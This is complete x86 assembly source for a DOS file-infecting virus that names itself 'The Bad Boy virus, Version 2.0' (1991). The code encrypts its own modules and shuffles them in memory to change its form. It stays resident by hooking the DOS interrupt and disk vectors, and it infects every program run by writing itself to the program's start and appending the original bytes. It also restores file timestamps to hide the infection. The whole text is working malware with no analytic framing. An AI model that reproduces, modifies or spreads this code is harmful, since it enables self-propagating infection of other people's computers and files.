code segment assume cs:code,ds:code .radix 16 org 100 start: push word ptr cs:[table+2] push cs pop ds jmp word ptr cs:[table] ;go to module 1 curofs dw ? files db 0 ;number of infected files from this copy fsize dw 2 ;size of infected file ftime dw ? fdate dw ? stdint21 dd ? oldint13 dd ? oldint21 dd ? oldint24 dd ? ;------------- TABLE WITH MODULE PARAMETERS -------------------- table: dw offset false_mod_1 ;00 dw offset mod_2 ;02 dw offset mod_3 ;04 dw offset mod_4 ;06 ;offset modules dw offset mod_5 ;08 dw offset mod_6 ;0a dw offset mod_7 ;0c dw offset mod_8 ;0e dw offset mod_2 - offset mod_1;10 dw offset mod_3 - offset mod_2;12 dw offset mod_4 - offset mod_3;14 dw offset mod_5 - offset mod_4;16 dw offset mod_6 - offset mod_5;18 ;size modules dw offset mod_7 - offset mod_6;1a dw offset mod_8 - offset mod_7;1c dw offset myend - offset mod_8;1e ;------------- MODULE - 1 - CODER/DECODER ---------------------- mod_1: mov bx,offset table+2 ;first module to working (module 2) mov cx,6 ;number of modules to working mod_1_lp1: cmp bx,offset table+0a jne mod_1_cont add bx,2 mod_1_cont: push bx push cx mov ax,[bx] ;ax - offset module mov cx,[bx+10] ;cx - size of module mov bx,ax mod_1_lp2: xor byte ptr [bx],al inc bx loop mod_1_lp2 pop cx pop bx add bx,2 loop mod_1_lp1 ret ;------------- MODULE - 2 - MUTATION TO MEMORY ----------------- mod_2: ;instalation check mov es,cs:[2] ;memory size mov di,100 mov si,100 mov cx,0bh repe cmpsb jne mod_2_install ;jump if not install jmp word ptr cs:[table+06] ;if install, jump to module 4 mod_2_install: ;instalation mov ax,cs dec ax mov ds,ax cmp byte ptr ds:[0],'Z' je mod_2_cont jmp word ptr cs:[table+6] ;if no last MCB - go to mod4 mod_2_cont: sub word ptr ds:[3],0c0 mov ax,es sub ax,0c0 mov es,ax mov word ptr ds:[12],ax ;decrement memory size with 2K push cs pop ds mod_2_mut: mov byte ptr cs:files,0 mov di,100 mov cx,offset mod_1-100 mov si,100 rep movsb ;write table to new memory mov bx,word ptr cs:[table] add bx,offset mod_1_lp2-offset mod_1+1 xor byte ptr [bx],18 ;change code method mov cx,8 mov word ptr curofs,offset mod_1 mod_2_lp1: push cx call mod_2_rnd ;generate random module addres push bx ;addres in table returned from mod_2_rnd mov ax,[bx] ;offset module push ax add bx,10 mov cx,[bx] ;length of module pop si pop bx xchg di,curofs mov word ptr es:[bx],di ;change module offset in table rep movsb ;copy module to new memory xchg di,curofs ;change current offset in new memory mov ax,8000 or word ptr [bx],ax ;mark module - used pop cx loop mod_2_lp1 mov cl,8 not ax mov bx,offset table mod_2_lp2: and word ptr [bx],ax ;unmark all modules add bx,2 loop mod_2_lp2 jmp word ptr cs:[table+4] ;go to module 3 mod_2_rnd: push cx push es xor cx,cx mov es,cx mod_2_lp3: mov bx,es:[46c] db 81,0e3,07,00 ;and bx,7 shl bx,1 add bx,offset table test [bx],8000 jnz mod_2_lp3 pop es pop cx ret ;------------- MODULE - 3 - SET INTERRUPT VECTORS --------------- mod_3: xor ax,ax mov ds,ax mov ax,ds:[4*21] mov word ptr es:[oldint21],ax mov ax,ds:[4*21+2] mov word ptr es:[oldint21+2],ax mov ah,30 int 21 cmp ax,1e03 jne mod_3_getvec mov word ptr es:[stdint21],1460 mov ax,1203 push ds int 2f mov word ptr es:[stdint21+2],ds pop ds jmp mod_3_setvec mod_3_getvec: mov ax,ds:[4*21] mov word ptr es:[stdint21],ax mov ax,ds:[4*21+2] mov word ptr es:[stdint21+2],ax mod_3_setvec: cli mov ax,word ptr es:[table+0c] mov ds:[4*21],ax mov ax,es mov ds:[4*21+2],ax sti mov cx,es mov ah,13 ; int 2f ; push es ; mov es,cx ; mov word ptr es:[oldint13],dx ; get standart int13 addres mov word ptr es:[oldint13+2],ds ; pop es ; int 2f ; jmp word ptr cs:[table+06] ;go to module 4 ;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ---- mod_4: push cs push cs pop ds pop es mov si,word ptr cs:[table+06] add si,offset mod_4_cont - offset mod_4 mov di,cs:fsize add di,offset myend+1 push di mov cx,offset mod_5 - offset mod_4_cont cld rep movsb ret mod_4_cont: mov si,cs:fsize add si,100 cmp si,offset myend+1 jnc mod_4_cnt mov si,offset myend+1 mod_4_cnt: mov di,100 mov cx,offset myend-100 rep movsb mov ax,100 ; push ax ; jmp 100 ret ; ;------------- MODULE - 5 - SPECIAL PROGRAM --------------------- mod_5: xor di,di mov ds,di cli mov di,word ptr cs:[oldint21] mov ds:[4*21],di mov di,word ptr cs:[oldint21+2] mov ds:[4*21+2],di sti ret db 'Make me better!' ;------------- MODULE - 6 - INT 24 HEADER ----------------------- mod_6: mov al,3 iret db 'The Bad Boy virus, Version 2.0, Copyright (C) 1991.',0 ;------------- MODULE - 7 - INT 21 HEADER ----------------------- mod_7: push bx push si push di push es push ax cmp ax,4b00 je mod_7_begin jmp mod_7_exit mod_7_begin: push ds push cs ; pop es ; xor ax,ax ; mov ds,ax ; mov si,4*24 ; mov di,offset oldint24 ; movsw ; change int24 vector movsw ; mov ax,word ptr cs:[table+0a] ; cli ; mov ds:[4*24],ax ; mov ax,cs ; mov ds:[4*24+2],ax ; sti pop ds mov ax,3d00 ; pushf ; call cs:oldint21 ; jc mod_7_ex ; open,infect,close file mov bx,ax ; mod_7_infect: ; call word ptr cs:[table+0e] ; pushf mov ah,3e ; pushf ; call cs:oldint21 ; popf jc mod_7_ex push ds ; cli ; xor ax,ax ; mov ds,ax ; mov ax,word ptr cs:[oldint13] ; xchg ax,word ptr ds:[4*13] ; mov word ptr cs:[oldint13],ax ; exchange int13 vectors mov ax,word ptr cs:[oldint13+2] ; xchg ax,word ptr ds:[4*13+2] ; mov word ptr cs:[oldint13+2],ax ; sti ; pop ds ; mod_7_ex: push ds ; xor ax,ax ; mov ds,ax ; mov ax,word ptr cs:oldint24 ; mov ds:[4*24],ax ; mov ax,word ptr cs:oldint24+2 ; restore int24 vector mov ds:[4*24+2],ax ; pop ds ; mod_7_exit: pop ax pop es pop di pop si pop bx jmp cs:oldint21 ;------------- MODULE - 8 - INFECTING (bx - file handle) -------- mod_8: push cx push dx push ds push es push di push bp push bx mov ax,1220 int 2f mov bl,es:[di] xor bh,bh mov ax,1216 int 2f pop bx mov ax,word ptr es:[di+11] cmp ax,0f000 jc mod_8_c jmp mod_8_exit mod_8_c: mov word ptr es:[di+2],2 ;open mode - R/W mov ax,es:[di+11] mov cs:fsize,ax ; save file size mov ax,word ptr es:[di+0dh] ; mov word ptr cs:[ftime],ax ; save file date/time mov ax,word ptr es:[di+0f] ; mov word ptr cs:[fdate],ax ; push cs ; pop ds ; mov dx,offset myend+1 ; mov cx,offset myend-100 ; read first bytes mov ah,3f ; pushf call cs:oldint21 jnc mod_8_cnt jmp mod_8_exit mod_8_cnt: mov bp,ax ; ax - bytes read mov si,dx mov ax,'MZ' cmp ax,word ptr ds:[si] jne mod_8_nxtchk jmp mod_8_exit mod_8_nxtchk: xchg ah,al cmp ax,ds:[si] jne mod_8_cnt2 jmp mod_8_exit mod_8_cnt2: push es push di push cs ; pop es ; mov si,100 ; mov di,dx ; check for infected file mov cx,0bh ; repe cmpsb ; pop di pop es jne mod_8_cnt1 ; jmp mod_8_exit mod_8_cnt1: mov word ptr es:[di+15],0 ; fp:=0 push es push di mov si,word ptr cs:[table+0e] add si,offset mod_8_cont - offset mod_8 xor di,di push cs pop es mov cx,offset mod_8_cont_end - offset mod_8_cont cld rep movsb pop di pop es mov si,word ptr cs:[table+0e] add si,offset mod_8_cont_end - offset mod_8 push si xor si,si push si push ds ; cli ; xor ax,ax ; mov ds,ax ; mov ax,word ptr cs:[oldint13] ; xchg ax,word ptr ds:[4*13] ; mov word ptr cs:[oldint13],ax ; mov ax,word ptr cs:[oldint13+2] ; exchange int13 vectors xchg ax,word ptr ds:[4*13+2] ; mov word ptr cs:[oldint13+2],ax ; sti ; pop ds ; ret mod_8_cont: push bx call word ptr cs:[table] ; code virus pop bx mov dx,100 ; mov ah,40 ; write code in begin mov cx,offset myend-0ff pushf ; call cs:stdint21 ; pushf push bx call word ptr cs:[table] ; decode virus pop bx popf jnc mod_8_cont1 pop ax mov ax,word ptr cs:[table+0e] add ax,offset mod_8_ext - offset mod_8 push ax ret mod_8_cont1: mov ax,es:[di+11] ; fp:=end of file mov word ptr es:[di+15],ax ; mov dx,offset myend+1 mov cx,bp ; bp - files read mov ah,40 ; pushf ; call cs:stdint21 ; write in end of file ret mod_8_cont_end: mov ax,5701 ; mov cx,cs:ftime ; mov dx,cs:fdate ; restore file date/time pushf ; call cs:oldint21 ; inc cs:files cmp cs:files,0a jne mod_8_ext call word ptr cs:[table+8] jmp short mod_8_ext mod_8_exit: stc jmp short mod_8_ex mod_8_ext: clc mod_8_ex: pop bp pop di pop es pop ds pop dx pop cx ret ;--------------------------------------------------------------- myend db 0 int 20 ;code of infected file false_mod_1: mov word ptr cs:[table],offset mod_1 ret code ends end start